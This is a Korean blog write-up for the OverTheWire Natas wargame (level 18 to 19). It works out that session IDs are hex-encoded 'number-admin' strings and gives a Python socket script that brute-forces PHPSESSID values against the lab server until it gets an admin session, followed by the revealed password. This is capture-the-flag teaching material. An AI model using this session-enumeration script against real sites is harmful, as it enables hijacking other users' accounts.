DINGA DINGA
article thumbnail
Published 2021. 6. 25. 00:24
[Natas] Level 18 → Level 19 WEB/Natas
728x90

http://natas19.natas.labs.overthewire.org/index.php

natas19/4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs로 로그인

코드는 이전과 같지만 세션아이디가 더 이상 sequential하지 않다고 한다.

 

쿠키 값을 삭제해가며 여러 번 로그인해서 세션값을 받아왔다.

첫 번째 시도(admin으로 로그인): 3136372d61646d696e

두 번째 시도(bdmin): 3439302d62646d696e

세 번째 시도(cdmin): 32322d63646d696e

 

2d63646d696e가 공통으로 들어가고, 앞에는 30~39가 1~3개 나열된 것을 확인할 수 있다.

찾아낸 패턴을 근거로 자동화 프로그램을 작성했다.

 

import socket

num = {'0':'30','1':'31','2':'32','3':'33','4':'34','5':'35','6':'36','7':'37','8':'38','9':'39'}

for idx in range(1, 641):
    idx = list(str(idx))
    ch = ''
    for x in range(len(idx)):
        ch += num[idx[x]]
        
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect(("176.9.9.172",80))
 
    header = "POST /index.php "
    header += "HTTP/1.1\r\n"
    header += "Authorization:Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==\r\n"
    header += "Host:natas19.natas.labs.overthewire.org\r\n"
    header += "Cookie:PHPSESSID="+str(ch)+"2d61646d696e\r\n"
    header += "\r\n"
 
    response = " "
    sock.send(header.encode())
    response = sock.recv(65535)
    response = response.decode()

    if "You are an admin" in response:
        print(response)
        sock.close()
        break;
    sock.close()
print()

 

실행 결과는 아래와 같다.

 

Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

728x90

'WEB > Natas' 카테고리의 다른 글

[Natas] Level 20 → Level 21  (0) 2021.07.08
[Natas] Level 19 → Level 20  (0) 2021.07.08
[Natas] Level 17 → Level 18  (0) 2021.06.24
[Natas] Level 16 → Level 17  (0) 2021.06.24
[Natas] Level 15 → Level 16  (0) 2021.06.24